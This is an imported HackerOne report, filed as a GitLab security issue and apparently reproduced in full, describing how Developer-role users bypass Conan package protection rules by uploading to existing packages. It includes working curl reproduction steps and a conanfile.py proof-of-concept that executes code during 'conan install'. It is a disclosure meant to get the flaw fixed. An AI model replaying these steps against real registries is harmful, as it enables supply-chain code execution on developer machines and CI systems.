Package protection bypass in Conan registry via existing package upload leads to remote code execution

⚠️ Please read the process on how to fix security issues before starting to work on the issue. Vulnerabilities must be fixed in a security mirror.

HackerOne report #3533088 by modhanami on 2026-01-31, imported by @katwu:

Report | Attachments | How To Reproduce

HackerOne Analyst Summary

Summary of the Issue

GitLab's Conan package registry contains a logic error that allows users with Developer access to bypass package protection rules by uploading malicious files to existing protected packages. While protection correctly blocks uploads when creating new packages, the protection check is completely bypassed when uploading to packages that already exist. This enables remote code execution because conanfile.py contains Python code that automatically executes when victims run conan install.

Steps to reproduce

Preconditions:

  • Two GitLab.com accounts: Account A (Maintainer) and Account B (Developer) on the same project
  • Package Registry enabled for the project
  • Conan client version < 2.0 (GitLab's Conan API has compatibility issues with Conan 2.x)
    • Install with: pip install 'conan<2'

Step 1: Create a Conan package (as Maintainer - Account A)

export VICTIM_TOKEN="<maintainer-token>"
export PROJECT_ID="77451172"

curl -X PUT "https://gitlab.com/api/v4/projects/$PROJECT_ID/packages/conan/v1/files/protected-conan/1.0.0/modhanami-h1-group+modhanami-h1-project/stable/0/export/conanfile.py" \
  -H "Content-Type: application/octet-stream" \
  -u "modhanami-h1:$VICTIM_TOKEN" \
  --data-binary 'from conans import ConanFile

class ProtectedConan(ConanFile):
    name = "protected-conan"
    version = "1.0.0"
    description = "Legitimate protected package"
'

Screenshot_2026-02-01_at_6.44.31_PM.png

Step 2: Create a protection rule requiring Maintainer for push (as Maintainer - Account A)

curl -X POST "https://gitlab.com/api/v4/projects/$PROJECT_ID/packages/protection/rules" \
  -H "PRIVATE-TOKEN: $VICTIM_TOKEN" \
  -H "Content-Type: application/json" \
  --data '{
    "package_name_pattern": "protected-conan*",
    "package_type": "conan",
    "minimum_access_level_for_push": "maintainer"
  }'

Screenshot_2026-02-01_at_6.46.55_PM.png

Step 3: Verify protection works for NEW packages (as Developer - Account B)

export ATTACKER_TOKEN="<developer-token>"

curl -w "\nHTTP: %{http_code}\n" -X PUT \
  "https://gitlab.com/api/v4/projects/$PROJECT_ID/packages/conan/v1/files/protected-conan-NEW/1.0.0/modhanami-h1-group+modhanami-h1-project/stable/0/export/conanfile.py" \
  -u "modhanami-h1-test2:$ATTACKER_TOKEN" \
  --data-binary 'malicious'

# Returns: 403 Forbidden - Package protected. (CORRECT)

Screenshot_2026-02-01_at_6.44.41_PM.png

Step 4: BYPASS - Upload malicious conanfile.py to EXISTING protected package (as Developer - Account B)

curl -w "\nHTTP: %{http_code}\n" -X PUT \
  "https://gitlab.com/api/v4/projects/$PROJECT_ID/packages/conan/v1/files/protected-conan/1.0.0/modhanami-h1-group+modhanami-h1-project/stable/0/export/conanfile.py" \
  -H "Content-Type: application/octet-stream" \
  -u "modhanami-h1-test2:$ATTACKER_TOKEN" \
  --data-binary 'from conans import ConanFile
import os
import datetime

class ProtectedConan(ConanFile):
    name = "protected-conan"
    version = "1.0.0"
    
    def configure(self):
        """RCE: This code executes during conan install"""
        proof_file = "/tmp/conan_rce_proof.txt"
        user = os.environ.get("USER", "unknown")
        with open(proof_file, "w") as f:
            f.write("=== CONAN RCE PROOF ===\n")
            f.write("Time: " + str(datetime.datetime.now()) + "\n")
            f.write("Payload: Developer bypassed Maintainer-only protection\n")
            f.write("Executed by: " + user + "\n")
        self.output.warn(">>> RCE PROOF: Wrote to " + proof_file + " <<<")
'

![Screenshot_2026-02-01_at_6.44.46_PM.png](https://h1.sec.gitlab.net/a/b4aaa442-e92c-4776-9f4f-ec9b4cfc0519/Screenshot_2026-02-01_at_6.44.46_PM.png)

# Returns: HTTP 200 (BUG - should be 403!)

Step 5: Victim triggers RCE (as any user who installs the package)

export VICTIM_USERNAME="modhanami-h1" # Maintainer's GitLab username (could be any member)

# Configure conan remote
conan remote add gitlab-h1 "https://gitlab.com/api/v4/projects/$PROJECT_ID/packages/conan"
conan user $VICTIM_USERNAME -p "$VICTIM_TOKEN" -r gitlab-h1

# Install the package - RCE triggered!
conan install protected-conan/1.0.0@modhanami-h1-group+modhanami-h1-project/stable -r gitlab-h1

Step 6: Verify code execution

cat /tmp/conan_rce_proof.txt

Impact statement

The demonstrated impact shows that attackers can achieve remote code execution on any system that installs the compromised package. In the proof-of-concept, the malicious code successfully executed during package installation, writing a proof file to /tmp/conan_rce_proof.txt and displaying warning messages confirming code execution. This creates a supply chain attack vector where all downstream consumers of the package will automatically execute the attacker's Python code with their system privileges, potentially compromising developer workstations, CI/CD pipelines, and production build systems. Organizations relying on package protection rules to enforce security controls would be completely bypassed, allowing unauthorized developers to inject malicious code into supposedly protected packages.

Original Report

Summary

A logic error in GitLab's Conan package registry allows users with Developer access to bypass package protection rules by uploading malicious files to existing protected Conan packages. While protection correctly blocks uploads when creating new packages, uploading to existing packages bypasses the protection check entirely. This enables remote code execution because conanfile.py contains Python code that executes when victims run conan install.

Steps to reproduce

Preconditions:

  • Two GitLab.com accounts: Account A (Maintainer) and Account B (Developer) on the same project
  • Package Registry enabled for the project
  • Conan client version < 2.0 (GitLab's Conan API has compatibility issues with Conan 2.x)
    • Install with: pip install 'conan<2'

Step 1: Create a Conan package (as Maintainer - Account A)

export VICTIM_TOKEN="<maintainer-token>"  
export PROJECT_ID="77451172"

curl -X PUT "https://gitlab.com/api/v4/projects/$PROJECT_ID/packages/conan/v1/files/protected-conan/1.0.0/modhanami-h1-group+modhanami-h1-project/stable/0/export/conanfile.py" \  
  -H "Content-Type: application/octet-stream" \  
  -u "modhanami-h1:$VICTIM_TOKEN" \  
  --data-binary 'from conans import ConanFile

class ProtectedConan(ConanFile):  
    name = "protected-conan"  
    version = "1.0.0"  
    description = "Legitimate protected package"  
'

Step 2: Create a protection rule requiring Maintainer for push (as Maintainer - Account A)

curl -X POST "https://gitlab.com/api/v4/projects/$PROJECT_ID/packages/protection/rules" \  
  -H "PRIVATE-TOKEN: $VICTIM_TOKEN" \  
  -H "Content-Type: application/json" \  
  --data '{  
    "package_name_pattern": "protected-conan*",  
    "package_type": "conan",  
    "minimum_access_level_for_push": "maintainer"  
  }'  

Step 3: Verify protection works for NEW packages (as Developer - Account B)

export ATTACKER_TOKEN="<developer-token>"

curl -w "\nHTTP: %{http_code}\n" -X PUT \  
  "https://gitlab.com/api/v4/projects/$PROJECT_ID/packages/conan/v1/files/protected-conan-NEW/1.0.0/modhanami-h1-group+modhanami-h1-project/stable/0/export/conanfile.py" \  
  -u "modhanami-h1-test2:$ATTACKER_TOKEN" \  
  --data-binary 'malicious'

###  Returns: 403 Forbidden - Package protected. (CORRECT)  

Step 4: BYPASS - Upload malicious conanfile.py to EXISTING protected package (as Developer - Account B)

curl -w "\nHTTP: %{http_code}\n" -X PUT \  
  "https://gitlab.com/api/v4/projects/$PROJECT_ID/packages/conan/v1/files/protected-conan/1.0.0/modhanami-h1-group+modhanami-h1-project/stable/0/export/conanfile.py" \  
  -H "Content-Type: application/octet-stream" \  
  -u "modhanami-h1-test2:$ATTACKER_TOKEN" \  
  --data-binary 'from conans import ConanFile  
import os  
import datetime

class ProtectedConan(ConanFile):  
    name = "protected-conan"  
    version = "1.0.0"  
      
    def configure(self):  
        """RCE: This code executes during conan install"""  
        proof_file = "/tmp/conan_rce_proof.txt"  
        user = os.environ.get("USER", "unknown")  
        with open(proof_file, "w") as f:  
            f.write("=== CONAN RCE PROOF ===\n")  
            f.write("Time: " + str(datetime.datetime.now()) + "\n")  
            f.write("Payload: Developer bypassed Maintainer-only protection\n")  
            f.write("Executed by: " + user + "\n")  
        self.output.warn(">>> RCE PROOF: Wrote to " + proof_file + " <<<")  
'

###  Returns: HTTP 200 (BUG - should be 403!)  

Step 5: Victim triggers RCE (as any user who installs the package)

export VICTIM_USERNAME="modhanami-h1" # Maintainer's GitLab username (could be any member)

###  Configure conan remote  
conan remote add gitlab-h1 "https://gitlab.com/api/v4/projects/$PROJECT_ID/packages/conan"  
conan user $VICTIM_USERNAME -p "$VICTIM_TOKEN" -r gitlab-h1

###  Install the package - RCE triggered!  
conan install protected-conan/1.0.0@modhanami-h1-group+modhanami-h1-project/stable -r gitlab-h1  

image.png

Step 6: Verify code execution

cat /tmp/conan_rce_proof.txt  

image.png

Impact

Remote Code Execution: Any user (including CI/CD pipelines) who runs conan install on the compromised package will execute the attacker's Python code with their privileges. The attacker can:

  • Steal credentials and environment variables
  • Modify files on the victim's system
  • Establish persistence or lateral movement
  • Compromise CI/CD pipelines and build servers

Complete bypass of package protection: Organizations using protection rules to enforce separation of duties (e.g., requiring Maintainer approval for production packages) are vulnerable to malicious Developers who can silently inject code into protected packages.

Supply chain attack vector: All downstream consumers of the package are compromised, including:

  • Developer workstations
  • CI/CD pipelines
  • Build servers
  • Production deployments
Examples

Tested on: https://gitlab.com/modhanami-h1-group/modhanami-h1-project

  • Victim (Maintainer): modhanami-h1
  • Attacker (Developer): modhanami-h1-test2
  • Protection Rule ID: 1001274 (protected-conan* requires Maintainer)
  • Package ID: 52418125

Proof of RCE - Output from victim's conan install:

Downloading conanfile.py completed [0.81k]  
protected-conan/1.0.0@modhanami-h1-group+modhanami-h1-project/stable: WARN: >>> RCE PROOF: Wrote to /tmp/conan_rce_proof.txt <<<  

Proof file contents:

=== CONAN RCE PROOF ===  
Time: 2026-01-31 23:54:11.167997  
Payload: Developer bypassed Maintainer-only protection  
Executed by: ...  
This file was created by malicious conanfile.py  
What is the current bug behavior?

When uploading files to an existing Conan package, the protection check is bypassed:

  1. At lib/api/helpers/packages/conan/api_helpers.rb:182-183:

    def find_or_create_package  
      return package if package  # <-- BYPASS: existing package returned WITHOUT protection check!  
      # ... protection only checked below for NEW packages  
  2. The upload_package_file method at line 234-248 calls find_or_create_package, but only checks authorize_upload! (write permission), not protection rules.

Result: Developer uploads to existing protected packages succeed with HTTP 200 instead of HTTP 403.

What is the expected correct behavior?
  1. Uploads to protected packages via any path should be blocked with HTTP 403 for users below the required access level.

  2. The protection check should be applied when the package already exists, not just during creation.

  3. Both new and existing packages should enforce the same protection rules.

Relevant logs and/or screenshots
Output of checks

This bug happens on GitLab.com

Root Cause (Code References)
File Line Issue
lib/api/helpers/packages/conan/api_helpers.rb 182-183 Early return bypasses protection for existing packages
lib/api/helpers/packages/conan/api_helpers.rb 234-248 upload_package_file lacks protection check
app/services/packages/conan/create_package_service.rb 7-9 Protection only checked for NEW packages
app/services/packages/conan/create_package_file_service.rb all No protection check

Attachments

Warning: Attachments received through HackerOne, please exercise caution!

How To Reproduce

Please add reproducibility information to this section: